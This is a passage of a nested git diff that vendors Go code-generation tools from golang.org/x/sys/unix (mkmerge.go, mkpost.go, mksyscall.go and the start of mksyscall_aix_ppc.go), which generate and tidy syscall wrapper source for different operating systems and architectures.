-+ specs := decl.Specs
-+ decl.Specs = decl.Specs[:0]
-+ for i, spec := range specs {
-+ elem, err := newCodeElem(decl.Tok, spec)
-+ if err != nil {
-+ return nil, err
-+ }
-+
-+ // Create new group if there are empty lines between this and the previous spec
-+ if i > 0 && fset.Position(specs[i-1].End()).Line < fset.Position(spec.Pos()).Line-1 {
-+ groupID++
-+ }
-+
-+ // Check if we should keep this spec
-+ if keep(elem) {
-+ decl.Specs = append(decl.Specs, spec)
-+ groups.add(elem.src, groupID)
-+ }
-+ }
-+ // Check if we should keep this decl
-+ if len(decl.Specs) > 0 {
-+ f.Decls = append(f.Decls, decl)
-+ }
-+ case *ast.FuncDecl:
-+ // Filter funcs
-+ elem, err := newCodeElem(token.FUNC, decl)
-+ if err != nil {
-+ return nil, err
-+ }
-+ if keep(elem) {
-+ f.Decls = append(f.Decls, decl)
-+ }
-+ }
-+ }
-+
-+ // Filter file level comments
-+ if cmap[f] != nil {
-+ commentGroups := cmap[f]
-+ cmap[f] = cmap[f][:0]
-+ for _, cGrp := range commentGroups {
-+ if keep(codeElem{token.COMMENT, cGrp.Text()}) {
-+ cmap[f] = append(cmap[f], cGrp)
-+ }
-+ }
-+ }
-+ f.Comments = cmap.Filter(f).Comments()
-+
-+ // Generate code for the filtered ast
-+ var buf bytes.Buffer
-+ if err = format.Node(&buf, fset, f); err != nil {
-+ return nil, err
-+ }
-+
-+ groupedSrc, err := groups.filterEmptyLines(&buf)
-+ if err != nil {
-+ return nil, err
-+ }
-+
-+ return filterImports(groupedSrc)
-+}
-+
-+// getCommonSet returns the set of consts, types, and funcs that are present in every file.
-+func getCommonSet(files []srcFile) (*codeSet, error) {
-+ if len(files) == 0 {
-+ return nil, fmt.Errorf("no files provided")
-+ }
-+ // Use the first architecture file as the baseline
-+ baseSet, err := getCodeSet(files[0].src)
-+ if err != nil {
-+ return nil, err
-+ }
-+
-+ // Compare baseline set with other architecture files: discard any element,
-+ // that doesn't exist in other architecture files.
-+ for _, f := range files[1:] {
-+ set, err := getCodeSet(f.src)
-+ if err != nil {
-+ return nil, err
-+ }
-+
-+ baseSet = baseSet.intersection(set)
-+ }
-+ return baseSet, nil
-+}
-+
-+// getCodeSet returns the set of all top-level consts, types, and funcs from src.
-+// src must be string, []byte, or io.Reader (see go/parser.ParseFile docs)
-+func getCodeSet(src interface{}) (*codeSet, error) {
-+ set := newCodeSet()
-+
-+ fset := token.NewFileSet()
-+ f, err := parser.ParseFile(fset, "", src, parser.ParseComments)
-+ if err != nil {
-+ return nil, err
-+ }
-+
-+ for _, decl := range f.Decls {
-+ switch decl := decl.(type) {
-+ case *ast.GenDecl:
-+ // Add const, and type declarations
-+ if !(decl.Tok == token.CONST || decl.Tok == token.TYPE) {
-+ break
-+ }
-+
-+ for _, spec := range decl.Specs {
-+ elem, err := newCodeElem(decl.Tok, spec)
-+ if err != nil {
-+ return nil, err
-+ }
-+
-+ set.add(elem)
-+ }
-+ case *ast.FuncDecl:
-+ // Add func declarations
-+ elem, err := newCodeElem(token.FUNC, decl)
-+ if err != nil {
-+ return nil, err
-+ }
-+
-+ set.add(elem)
-+ }
-+ }
-+
-+ // Add file level comments
-+ cmap := ast.NewCommentMap(fset, f, f.Comments)
-+ for _, cGrp := range cmap[f] {
-+ set.add(codeElem{token.COMMENT, cGrp.Text()})
-+ }
-+
-+ return set, nil
-+}
-+
-+// importName returns the identifier (PackageName) for an imported package
-+func importName(iSpec *ast.ImportSpec) (string, error) {
-+ if iSpec.Name == nil {
-+ name, err := strconv.Unquote(iSpec.Path.Value)
-+ if err != nil {
-+ return "", err
-+ }
-+ return path.Base(name), nil
-+ }
-+ return iSpec.Name.Name, nil
-+}
-+
-+// specGroups tracks grouped const/type specs with a map of line: groupID pairs
-+type specGroups map[string]int
-+
-+// add spec source to group
-+func (s specGroups) add(src string, groupID int) error {
-+ srcBytes, err := format.Source(bytes.TrimSpace([]byte(src)))
-+ if err != nil {
-+ return err
-+ }
-+ s[string(srcBytes)] = groupID
-+ return nil
-+}
-+
-+// filterEmptyLines removes empty lines within groups of const/type specs.
-+// Returns the filtered source.
-+func (s specGroups) filterEmptyLines(src io.Reader) ([]byte, error) {
-+ scanner := bufio.NewScanner(src)
-+ var out bytes.Buffer
-+
-+ var emptyLines bytes.Buffer
-+ prevGroupID := -1 // Initialize to invalid group
-+ for scanner.Scan() {
-+ line := bytes.TrimSpace(scanner.Bytes())
-+
-+ if len(line) == 0 {
-+ fmt.Fprintf(&emptyLines, "%s\n", scanner.Bytes())
-+ continue
-+ }
-+
-+ // Discard emptyLines if previous non-empty line belonged to the same
-+ // group as this line
-+ if src, err := format.Source(line); err == nil {
-+ groupID, ok := s[string(src)]
-+ if ok && groupID == prevGroupID {
-+ emptyLines.Reset()
-+ }
-+ prevGroupID = groupID
-+ }
-+
-+ emptyLines.WriteTo(&out)
-+ fmt.Fprintf(&out, "%s\n", scanner.Bytes())
-+ }
-+ if err := scanner.Err(); err != nil {
-+ return nil, err
-+ }
-+ return out.Bytes(), nil
-+}
-+
-+// filterImports removes unused imports from fileSrc, and returns a formatted src.
-+func filterImports(fileSrc []byte) ([]byte, error) {
-+ fset := token.NewFileSet()
-+ file, err := parser.ParseFile(fset, "", fileSrc, parser.ParseComments)
-+ if err != nil {
-+ return nil, err
-+ }
-+ cmap := ast.NewCommentMap(fset, file, file.Comments)
-+
-+ // create set of references to imported identifiers
-+ keepImport := make(map[string]bool)
-+ for _, u := range file.Unresolved {
-+ keepImport[u.Name] = true
-+ }
-+
-+ // filter import declarations
-+ decls := file.Decls
-+ file.Decls = file.Decls[:0]
-+ for _, decl := range decls {
-+ importDecl, ok := decl.(*ast.GenDecl)
-+
-+ // Keep non-import declarations
-+ if !ok || importDecl.Tok != token.IMPORT {
-+ file.Decls = append(file.Decls, decl)
-+ continue
-+ }
-+
-+ // Filter the import specs
-+ specs := importDecl.Specs
-+ importDecl.Specs = importDecl.Specs[:0]
-+ for _, spec := range specs {
-+ iSpec := spec.(*ast.ImportSpec)
-+ name, err := importName(iSpec)
-+ if err != nil {
-+ return nil, err
-+ }
-+
-+ if keepImport[name] {
-+ importDecl.Specs = append(importDecl.Specs, iSpec)
-+ }
-+ }
-+ if len(importDecl.Specs) > 0 {
-+ file.Decls = append(file.Decls, importDecl)
-+ }
-+ }
-+
-+ // filter file.Imports
-+ imports := file.Imports
-+ file.Imports = file.Imports[:0]
-+ for _, spec := range imports {
-+ name, err := importName(spec)
-+ if err != nil {
-+ return nil, err
-+ }
-+
-+ if keepImport[name] {
-+ file.Imports = append(file.Imports, spec)
-+ }
-+ }
-+ file.Comments = cmap.Filter(file).Comments()
-+
-+ var buf bytes.Buffer
-+ err = format.Node(&buf, fset, file)
-+ if err != nil {
-+ return nil, err
-+ }
-+
-+ return buf.Bytes(), nil
-+}
-+
-+// merge extracts duplicate code from archFiles and merges it to mergeFile.
-+// 1. Construct commonSet: the set of code that is idential in all archFiles.
-+// 2. Write the code in commonSet to mergedFile.
-+// 3. Remove the commonSet code from all archFiles.
-+func merge(mergedFile string, archFiles ...string) error {
-+ // extract and validate the GOOS part of the merged filename
-+ goos, ok := getValidGOOS(mergedFile)
-+ if !ok {
-+ return fmt.Errorf("invalid GOOS in merged file name %s", mergedFile)
-+ }
-+
-+ // Read architecture files
-+ var inSrc []srcFile
-+ for _, file := range archFiles {
-+ src, err := ioutil.ReadFile(file)
-+ if err != nil {
-+ return fmt.Errorf("cannot read archfile %s: %w", file, err)
-+ }
-+
-+ inSrc = append(inSrc, srcFile{file, src})
-+ }
-+
-+ // 1. Construct the set of top-level declarations common for all files
-+ commonSet, err := getCommonSet(inSrc)
-+ if err != nil {
-+ return err
-+ }
-+ if commonSet.isEmpty() {
-+ // No common code => do not modify any files
-+ return nil
-+ }
-+
-+ // 2. Write the merged file
-+ mergedSrc, err := filter(inSrc[0].src, commonSet.keepCommon)
-+ if err != nil {
-+ return err
-+ }
-+
-+ f, err := os.Create(mergedFile)
-+ if err != nil {
-+ return err
-+ }
-+
-+ buf := bufio.NewWriter(f)
-+ fmt.Fprintln(buf, "// Code generated by mkmerge.go; DO NOT EDIT.")
-+ fmt.Fprintln(buf)
-+ fmt.Fprintf(buf, "// +build %s\n", goos)
-+ fmt.Fprintln(buf)
-+ buf.Write(mergedSrc)
-+
-+ err = buf.Flush()
-+ if err != nil {
-+ return err
-+ }
-+ err = f.Close()
-+ if err != nil {
-+ return err
-+ }
-+
-+ // 3. Remove duplicate declarations from the architecture files
-+ for _, inFile := range inSrc {
-+ src, err := filter(inFile.src, commonSet.keepArchSpecific)
-+ if err != nil {
-+ return err
-+ }
-+ err = ioutil.WriteFile(inFile.name, src, 0644)
-+ if err != nil {
-+ return err
-+ }
-+ }
-+ return nil
-+}
-+
-+func main() {
-+ var mergedFile string
-+ flag.StringVar(&mergedFile, "out", "", "Write merged code to `FILE`")
-+ flag.Parse()
-+
-+ // Expand wildcards
-+ var filenames []string
-+ for _, arg := range flag.Args() {
-+ matches, err := filepath.Glob(arg)
-+ if err != nil {
-+ fmt.Fprintf(os.Stderr, "Invalid command line argument %q: %v\n", arg, err)
-+ os.Exit(1)
-+ }
-+ filenames = append(filenames, matches...)
-+ }
-+
-+ if len(filenames) < 2 {
-+ // No need to merge
-+ return
-+ }
-+
-+ err := merge(mergedFile, filenames...)
-+ if err != nil {
-+ fmt.Fprintf(os.Stderr, "Merge failed with error: %v\n", err)
-+ os.Exit(1)
-+ }
-+}
-diff --git a/vendor/golang.org/x/sys/unix/mkpost.go b/vendor/golang.org/x/sys/unix/mkpost.go
-index d3ff659b..5ee1a16b 100644
---- a/vendor/golang.org/x/sys/unix/mkpost.go
-+++ b/vendor/golang.org/x/sys/unix/mkpost.go
-@@ -28,10 +28,10 @@ func main() {
- if goarch == "" {
- goarch = os.Getenv("GOARCH")
- }
-- // Check that we are using the new build system if we should be.
-- if goos == "linux" && goarch != "sparc64" {
-+ // Check that we are using the Docker-based build system if we should be.
-+ if goos == "linux" {
- if os.Getenv("GOLANG_SYS_BUILD") != "docker" {
-- os.Stderr.WriteString("In the new build system, mkpost should not be called directly.\n")
-+ os.Stderr.WriteString("In the Docker-based build system, mkpost should not be called directly.\n")
- os.Stderr.WriteString("See README.md\n")
- os.Exit(1)
- }
-@@ -42,6 +42,21 @@ func main() {
- log.Fatal(err)
- }
-
-+ if goos == "aix" {
-+ // Replace type of Atim, Mtim and Ctim by Timespec in Stat_t
-+ // to avoid having both StTimespec and Timespec.
-+ sttimespec := regexp.MustCompile(`_Ctype_struct_st_timespec`)
-+ b = sttimespec.ReplaceAll(b, []byte("Timespec"))
-+ }
-+
-+ // Intentionally export __val fields in Fsid and Sigset_t
-+ valRegex := regexp.MustCompile(`type (Fsid|Sigset_t) struct {(\s+)X__(bits|val)(\s+\S+\s+)}`)
-+ b = valRegex.ReplaceAll(b, []byte("type $1 struct {${2}Val$4}"))
-+
-+ // Intentionally export __fds_bits field in FdSet
-+ fdSetRegex := regexp.MustCompile(`type (FdSet) struct {(\s+)X__fds_bits(\s+\S+\s+)}`)
-+ b = fdSetRegex.ReplaceAll(b, []byte("type $1 struct {${2}Bits$3}"))
-+
- // If we have empty Ptrace structs, we should delete them. Only s390x emits
- // nonempty Ptrace structs.
- ptraceRexexp := regexp.MustCompile(`type Ptrace((Psw|Fpregs|Per) struct {\s*})`)
-@@ -56,16 +71,31 @@ func main() {
- removeFieldsRegex := regexp.MustCompile(`X__glibc\S*`)
- b = removeFieldsRegex.ReplaceAll(b, []byte("_"))
-
-- // We refuse to export private fields on s390x
-- if goarch == "s390x" && goos == "linux" {
-- // Remove cgo padding fields
-- removeFieldsRegex := regexp.MustCompile(`Pad_cgo_\d+`)
-- b = removeFieldsRegex.ReplaceAll(b, []byte("_"))
-+ // Convert [65]int8 to [65]byte in Utsname members to simplify
-+ // conversion to string; see golang.org/issue/20753
-+ convertUtsnameRegex := regexp.MustCompile(`((Sys|Node|Domain)name|Release|Version|Machine)(\s+)\[(\d+)\]u?int8`)
-+ b = convertUtsnameRegex.ReplaceAll(b, []byte("$1$3[$4]byte"))
-
-- // Remove padding, hidden, or unused fields
-- removeFieldsRegex = regexp.MustCompile(`X_\S+`)
-- b = removeFieldsRegex.ReplaceAll(b, []byte("_"))
-- }
-+ // Convert [n]int8 to [n]byte in Statvfs_t members to simplify
-+ // conversion to string.
-+ convertStatvfsRegex := regexp.MustCompile(`((Fstype|Mnton|Mntfrom)name)(\s+)\[(\d+)\]int8`)
-+ b = convertStatvfsRegex.ReplaceAll(b, []byte("$1$3[$4]byte"))
-+
-+ // Convert [1024]int8 to [1024]byte in Ptmget members
-+ convertPtmget := regexp.MustCompile(`([SC]n)(\s+)\[(\d+)\]u?int8`)
-+ b = convertPtmget.ReplaceAll(b, []byte("$1[$3]byte"))
-+
-+ // Remove spare fields (e.g. in Statx_t)
-+ spareFieldsRegex := regexp.MustCompile(`X__spare\S*`)
-+ b = spareFieldsRegex.ReplaceAll(b, []byte("_"))
-+
-+ // Remove cgo padding fields
-+ removePaddingFieldsRegex := regexp.MustCompile(`Pad_cgo_\d+`)
-+ b = removePaddingFieldsRegex.ReplaceAll(b, []byte("_"))
-+
-+ // Remove padding, hidden, or unused fields
-+ removeFieldsRegex = regexp.MustCompile(`\b(X_\S+|Padding)`)
-+ b = removeFieldsRegex.ReplaceAll(b, []byte("_"))
-
- // Remove the first line of warning from cgo
- b = b[bytes.IndexByte(b, '\n')+1:]
-@@ -78,6 +108,15 @@ func main() {
- cgoCommandRegex := regexp.MustCompile(`(cgo -godefs .*)`)
- b = cgoCommandRegex.ReplaceAll(b, []byte(replacement))
-
-+ // Rename Stat_t time fields
-+ if goos == "freebsd" && goarch == "386" {
-+ // Hide Stat_t.[AMCB]tim_ext fields
-+ renameStatTimeExtFieldsRegex := regexp.MustCompile(`[AMCB]tim_ext`)
-+ b = renameStatTimeExtFieldsRegex.ReplaceAll(b, []byte("_"))
-+ }
-+ renameStatTimeFieldsRegex := regexp.MustCompile(`([AMCB])(?:irth)?time?(?:spec)?\s+(Timespec|StTimespec)`)
-+ b = renameStatTimeFieldsRegex.ReplaceAll(b, []byte("${1}tim ${2}"))
-+
- // gofmt
- b, err = format.Source(b)
- if err != nil {
-diff --git a/vendor/golang.org/x/sys/unix/mksyscall.go b/vendor/golang.org/x/sys/unix/mksyscall.go
-new file mode 100644
-index 00000000..9e540cc8
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/mksyscall.go
-@@ -0,0 +1,402 @@
-+// Copyright 2018 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build ignore
-+
-+/*
-+This program reads a file containing function prototypes
-+(like syscall_darwin.go) and generates system call bodies.
-+The prototypes are marked by lines beginning with "//sys"
-+and read like func declarations if //sys is replaced by func, but:
-+ * The parameter lists must give a name for each argument.
-+ This includes return parameters.
-+ * The parameter lists must give a type for each argument:
-+ the (x, y, z int) shorthand is not allowed.
-+ * If the return parameter is an error number, it must be named errno.
-+
-+A line beginning with //sysnb is like //sys, except that the
-+goroutine will not be suspended during the execution of the system
-+call. This must only be used for system calls which can never
-+block, as otherwise the system call could cause all goroutines to
-+hang.
-+*/
-+package main
-+
-+import (
-+ "bufio"
-+ "flag"
-+ "fmt"
-+ "os"
-+ "regexp"
-+ "strings"
-+)
-+
-+var (
-+ b32 = flag.Bool("b32", false, "32bit big-endian")
-+ l32 = flag.Bool("l32", false, "32bit little-endian")
-+ plan9 = flag.Bool("plan9", false, "plan9")
-+ openbsd = flag.Bool("openbsd", false, "openbsd")
-+ netbsd = flag.Bool("netbsd", false, "netbsd")
-+ dragonfly = flag.Bool("dragonfly", false, "dragonfly")
-+ arm = flag.Bool("arm", false, "arm") // 64-bit value should use (even, odd)-pair
-+ tags = flag.String("tags", "", "build tags")
-+ filename = flag.String("output", "", "output file name (standard output if omitted)")
-+)
-+
-+// cmdLine returns this programs's commandline arguments
-+func cmdLine() string {
-+ return "go run mksyscall.go " + strings.Join(os.Args[1:], " ")
-+}
-+
-+// buildTags returns build tags
-+func buildTags() string {
-+ return *tags
-+}
-+
-+// Param is function parameter
-+type Param struct {
-+ Name string
-+ Type string
-+}
-+
-+// usage prints the program usage
-+func usage() {
-+ fmt.Fprintf(os.Stderr, "usage: go run mksyscall.go [-b32 | -l32] [-tags x,y] [file ...]\n")
-+ os.Exit(1)
-+}
-+
-+// parseParamList parses parameter list and returns a slice of parameters
-+func parseParamList(list string) []string {
-+ list = strings.TrimSpace(list)
-+ if list == "" {
-+ return []string{}
-+ }
-+ return regexp.MustCompile(`\s*,\s*`).Split(list, -1)
-+}
-+
-+// parseParam splits a parameter into name and type
-+func parseParam(p string) Param {
-+ ps := regexp.MustCompile(`^(\S*) (\S*)$`).FindStringSubmatch(p)
-+ if ps == nil {
-+ fmt.Fprintf(os.Stderr, "malformed parameter: %s\n", p)
-+ os.Exit(1)
-+ }
-+ return Param{ps[1], ps[2]}
-+}
-+
-+func main() {
-+ // Get the OS and architecture (using GOARCH_TARGET if it exists)
-+ goos := os.Getenv("GOOS")
-+ if goos == "" {
-+ fmt.Fprintln(os.Stderr, "GOOS not defined in environment")
-+ os.Exit(1)
-+ }
-+ goarch := os.Getenv("GOARCH_TARGET")
-+ if goarch == "" {
-+ goarch = os.Getenv("GOARCH")
-+ }
-+
-+ // Check that we are using the Docker-based build system if we should
-+ if goos == "linux" {
-+ if os.Getenv("GOLANG_SYS_BUILD") != "docker" {
-+ fmt.Fprintf(os.Stderr, "In the Docker-based build system, mksyscall should not be called directly.\n")
-+ fmt.Fprintf(os.Stderr, "See README.md\n")
-+ os.Exit(1)
-+ }
-+ }
-+
-+ flag.Usage = usage
-+ flag.Parse()
-+ if len(flag.Args()) <= 0 {
-+ fmt.Fprintf(os.Stderr, "no files to parse provided\n")
-+ usage()
-+ }
-+
-+ endianness := ""
-+ if *b32 {
-+ endianness = "big-endian"
-+ } else if *l32 {
-+ endianness = "little-endian"
-+ }
-+
-+ libc := false
-+ if goos == "darwin" && (strings.Contains(buildTags(), ",go1.12") || strings.Contains(buildTags(), ",go1.13")) {
-+ libc = true
-+ }
-+ trampolines := map[string]bool{}
-+
-+ text := ""
-+ for _, path := range flag.Args() {
-+ file, err := os.Open(path)
-+ if err != nil {
-+ fmt.Fprintf(os.Stderr, err.Error())
-+ os.Exit(1)
-+ }
-+ s := bufio.NewScanner(file)
-+ for s.Scan() {
-+ t := s.Text()
-+ t = strings.TrimSpace(t)
-+ t = regexp.MustCompile(`\s+`).ReplaceAllString(t, ` `)
-+ nonblock := regexp.MustCompile(`^\/\/sysnb `).FindStringSubmatch(t)
-+ if regexp.MustCompile(`^\/\/sys `).FindStringSubmatch(t) == nil && nonblock == nil {
-+ continue
-+ }
-+
-+ // Line must be of the form
-+ // func Open(path string, mode int, perm int) (fd int, errno error)
-+ // Split into name, in params, out params.
-+ f := regexp.MustCompile(`^\/\/sys(nb)? (\w+)\(([^()]*)\)\s*(?:\(([^()]+)\))?\s*(?:=\s*((?i)SYS_[A-Z0-9_]+))?$`).FindStringSubmatch(t)
-+ if f == nil {
-+ fmt.Fprintf(os.Stderr, "%s:%s\nmalformed //sys declaration\n", path, t)
-+ os.Exit(1)
-+ }
-+ funct, inps, outps, sysname := f[2], f[3], f[4], f[5]
-+
-+ // ClockGettime doesn't have a syscall number on Darwin, only generate libc wrappers.
-+ if goos == "darwin" && !libc && funct == "ClockGettime" {
-+ continue
-+ }
-+
-+ // Split argument lists on comma.
-+ in := parseParamList(inps)
-+ out := parseParamList(outps)
-+
-+ // Try in vain to keep people from editing this file.
-+ // The theory is that they jump into the middle of the file
-+ // without reading the header.
-+ text += "// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\n"
-+
-+ // Go function header.
-+ outDecl := ""
-+ if len(out) > 0 {
-+ outDecl = fmt.Sprintf(" (%s)", strings.Join(out, ", "))
-+ }
-+ text += fmt.Sprintf("func %s(%s)%s {\n", funct, strings.Join(in, ", "), outDecl)
-+
-+ // Check if err return available
-+ errvar := ""
-+ for _, param := range out {
-+ p := parseParam(param)
-+ if p.Type == "error" {
-+ errvar = p.Name
-+ break
-+ }
-+ }
-+
-+ // Prepare arguments to Syscall.
-+ var args []string
-+ n := 0
-+ for _, param := range in {
-+ p := parseParam(param)
-+ if regexp.MustCompile(`^\*`).FindStringSubmatch(p.Type) != nil {
-+ args = append(args, "uintptr(unsafe.Pointer("+p.Name+"))")
-+ } else if p.Type == "string" && errvar != "" {
-+ text += fmt.Sprintf("\tvar _p%d *byte\n", n)
-+ text += fmt.Sprintf("\t_p%d, %s = BytePtrFromString(%s)\n", n, errvar, p.Name)
-+ text += fmt.Sprintf("\tif %s != nil {\n\t\treturn\n\t}\n", errvar)
-+ args = append(args, fmt.Sprintf("uintptr(unsafe.Pointer(_p%d))", n))
-+ n++
-+ } else if p.Type == "string" {
-+ fmt.Fprintf(os.Stderr, path+":"+funct+" uses string arguments, but has no error return\n")
-+ text += fmt.Sprintf("\tvar _p%d *byte\n", n)
-+ text += fmt.Sprintf("\t_p%d, _ = BytePtrFromString(%s)\n", n, p.Name)
-+ args = append(args, fmt.Sprintf("uintptr(unsafe.Pointer(_p%d))", n))
-+ n++
-+ } else if regexp.MustCompile(`^\[\](.*)`).FindStringSubmatch(p.Type) != nil {
-+ // Convert slice into pointer, length.
-+ // Have to be careful not to take address of &a[0] if len == 0:
-+ // pass dummy pointer in that case.
-+ // Used to pass nil, but some OSes or simulators reject write(fd, nil, 0).
-+ text += fmt.Sprintf("\tvar _p%d unsafe.Pointer\n", n)
-+ text += fmt.Sprintf("\tif len(%s) > 0 {\n\t\t_p%d = unsafe.Pointer(&%s[0])\n\t}", p.Name, n, p.Name)
-+ text += fmt.Sprintf(" else {\n\t\t_p%d = unsafe.Pointer(&_zero)\n\t}\n", n)
-+ args = append(args, fmt.Sprintf("uintptr(_p%d)", n), fmt.Sprintf("uintptr(len(%s))", p.Name))
-+ n++
-+ } else if p.Type == "int64" && (*openbsd || *netbsd) {
-+ args = append(args, "0")
-+ if endianness == "big-endian" {
-+ args = append(args, fmt.Sprintf("uintptr(%s>>32)", p.Name), fmt.Sprintf("uintptr(%s)", p.Name))
-+ } else if endianness == "little-endian" {
-+ args = append(args, fmt.Sprintf("uintptr(%s)", p.Name), fmt.Sprintf("uintptr(%s>>32)", p.Name))
-+ } else {
-+ args = append(args, fmt.Sprintf("uintptr(%s)", p.Name))
-+ }
-+ } else if p.Type == "int64" && *dragonfly {
-+ if regexp.MustCompile(`^(?i)extp(read|write)`).FindStringSubmatch(funct) == nil {
-+ args = append(args, "0")
-+ }
-+ if endianness == "big-endian" {
-+ args = append(args, fmt.Sprintf("uintptr(%s>>32)", p.Name), fmt.Sprintf("uintptr(%s)", p.Name))
-+ } else if endianness == "little-endian" {
-+ args = append(args, fmt.Sprintf("uintptr(%s)", p.Name), fmt.Sprintf("uintptr(%s>>32)", p.Name))
-+ } else {
-+ args = append(args, fmt.Sprintf("uintptr(%s)", p.Name))
-+ }
-+ } else if (p.Type == "int64" || p.Type == "uint64") && endianness != "" {
-+ if len(args)%2 == 1 && *arm {
-+ // arm abi specifies 64-bit argument uses
-+ // (even, odd) pair
-+ args = append(args, "0")
-+ }
-+ if endianness == "big-endian" {
-+ args = append(args, fmt.Sprintf("uintptr(%s>>32)", p.Name), fmt.Sprintf("uintptr(%s)", p.Name))
-+ } else {
-+ args = append(args, fmt.Sprintf("uintptr(%s)", p.Name), fmt.Sprintf("uintptr(%s>>32)", p.Name))
-+ }
-+ } else {
-+ args = append(args, fmt.Sprintf("uintptr(%s)", p.Name))
-+ }
-+ }
-+
-+ // Determine which form to use; pad args with zeros.
-+ asm := "Syscall"
-+ if nonblock != nil {
-+ if errvar == "" && goos == "linux" {
-+ asm = "RawSyscallNoError"
-+ } else {
-+ asm = "RawSyscall"
-+ }
-+ } else {
-+ if errvar == "" && goos == "linux" {
-+ asm = "SyscallNoError"
-+ }
-+ }
-+ if len(args) <= 3 {
-+ for len(args) < 3 {
-+ args = append(args, "0")
-+ }
-+ } else if len(args) <= 6 {
-+ asm += "6"
-+ for len(args) < 6 {
-+ args = append(args, "0")
-+ }
-+ } else if len(args) <= 9 {
-+ asm += "9"
-+ for len(args) < 9 {
-+ args = append(args, "0")
-+ }
-+ } else {
-+ fmt.Fprintf(os.Stderr, "%s:%s too many arguments to system call\n", path, funct)
-+ }
-+
-+ // System call number.
-+ if sysname == "" {
-+ sysname = "SYS_" + funct
-+ sysname = regexp.MustCompile(`([a-z])([A-Z])`).ReplaceAllString(sysname, `${1}_$2`)
-+ sysname = strings.ToUpper(sysname)
-+ }
-+
-+ var libcFn string
-+ if libc {
-+ asm = "syscall_" + strings.ToLower(asm[:1]) + asm[1:] // internal syscall call
-+ sysname = strings.TrimPrefix(sysname, "SYS_") // remove SYS_
-+ sysname = strings.ToLower(sysname) // lowercase
-+ libcFn = sysname
-+ sysname = "funcPC(libc_" + sysname + "_trampoline)"
-+ }
-+
-+ // Actual call.
-+ arglist := strings.Join(args, ", ")
-+ call := fmt.Sprintf("%s(%s, %s)", asm, sysname, arglist)
-+
-+ // Assign return values.
-+ body := ""
-+ ret := []string{"_", "_", "_"}
-+ doErrno := false
-+ for i := 0; i < len(out); i++ {
-+ p := parseParam(out[i])
-+ reg := ""
-+ if p.Name == "err" && !*plan9 {
-+ reg = "e1"
-+ ret[2] = reg
-+ doErrno = true
-+ } else if p.Name == "err" && *plan9 {
-+ ret[0] = "r0"
-+ ret[2] = "e1"
-+ break
-+ } else {
-+ reg = fmt.Sprintf("r%d", i)
-+ ret[i] = reg
-+ }
-+ if p.Type == "bool" {
-+ reg = fmt.Sprintf("%s != 0", reg)
-+ }
-+ if p.Type == "int64" && endianness != "" {
-+ // 64-bit number in r1:r0 or r0:r1.
-+ if i+2 > len(out) {
-+ fmt.Fprintf(os.Stderr, "%s:%s not enough registers for int64 return\n", path, funct)
-+ }
-+ if endianness == "big-endian" {
-+ reg = fmt.Sprintf("int64(r%d)<<32 | int64(r%d)", i, i+1)
-+ } else {
-+ reg = fmt.Sprintf("int64(r%d)<<32 | int64(r%d)", i+1, i)
-+ }
-+ ret[i] = fmt.Sprintf("r%d", i)
-+ ret[i+1] = fmt.Sprintf("r%d", i+1)
-+ }
-+ if reg != "e1" || *plan9 {
-+ body += fmt.Sprintf("\t%s = %s(%s)\n", p.Name, p.Type, reg)
-+ }
-+ }
-+ if ret[0] == "_" && ret[1] == "_" && ret[2] == "_" {
-+ text += fmt.Sprintf("\t%s\n", call)
-+ } else {
-+ if errvar == "" && goos == "linux" {
-+ // raw syscall without error on Linux, see golang.org/issue/22924
-+ text += fmt.Sprintf("\t%s, %s := %s\n", ret[0], ret[1], call)
-+ } else {
-+ text += fmt.Sprintf("\t%s, %s, %s := %s\n", ret[0], ret[1], ret[2], call)
-+ }
-+ }
-+ text += body
-+
-+ if *plan9 && ret[2] == "e1" {
-+ text += "\tif int32(r0) == -1 {\n"
-+ text += "\t\terr = e1\n"
-+ text += "\t}\n"
-+ } else if doErrno {
-+ text += "\tif e1 != 0 {\n"
-+ text += "\t\terr = errnoErr(e1)\n"
-+ text += "\t}\n"
-+ }
-+ text += "\treturn\n"
-+ text += "}\n\n"
-+
-+ if libc && !trampolines[libcFn] {
-+ // some system calls share a trampoline, like read and readlen.
-+ trampolines[libcFn] = true
-+ // Declare assembly trampoline.
-+ text += fmt.Sprintf("func libc_%s_trampoline()\n", libcFn)
-+ // Assembly trampoline calls the libc_* function, which this magic
-+ // redirects to use the function from libSystem.
-+ text += fmt.Sprintf("//go:linkname libc_%s libc_%s\n", libcFn, libcFn)
-+ text += fmt.Sprintf("//go:cgo_import_dynamic libc_%s %s \"/usr/lib/libSystem.B.dylib\"\n", libcFn, libcFn)
-+ text += "\n"
-+ }
-+ }
-+ if err := s.Err(); err != nil {
-+ fmt.Fprintf(os.Stderr, err.Error())
-+ os.Exit(1)
-+ }
-+ file.Close()
-+ }
-+ fmt.Printf(srcTemplate, cmdLine(), buildTags(), text)
-+}
-+
-+const srcTemplate = `// %s
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build %s
-+
-+package unix
-+
-+import (
-+ "syscall"
-+ "unsafe"
-+)
-+
-+var _ syscall.Errno
-+
-+%s
-+`
-diff --git a/vendor/golang.org/x/sys/unix/mksyscall_aix_ppc.go b/vendor/golang.org/x/sys/unix/mksyscall_aix_ppc.go
-new file mode 100644
-index 00000000..3be3cdfc
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/mksyscall_aix_ppc.go
-@@ -0,0 +1,415 @@
-+// Copyright 2019 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build ignore
-+
-+/*
-+This program reads a file containing function prototypes
-+(like syscall_aix.go) and generates system call bodies.
-+The prototypes are marked by lines beginning with "//sys"
-+and read like func declarations if //sys is replaced by func, but:
-+ * The parameter lists must give a name for each argument.
-+ This includes return parameters.
-+ * The parameter lists must give a type for each argument:
-+ the (x, y, z int) shorthand is not allowed.
-+ * If the return parameter is an error number, it must be named err.
-+ * If go func name needs to be different than its libc name,
-+ * or the function is not in libc, name could be specified
-+ * at the end, after "=" sign, like
-+ //sys getsockopt(s int, level int, name int, val uintptr, vallen *_Socklen) (err error) = libsocket.getsockopt
-+*/
-+package main
-+
-+import (
-+ "bufio"
-+ "flag"
-+ "fmt"
-+ "os"
-+ "regexp"
-+ "strings"
-+)
-+
-+var (
-+ b32 = flag.Bool("b32", false, "32bit big-endian")
-+ l32 = flag.Bool("l32", false, "32bit little-endian")
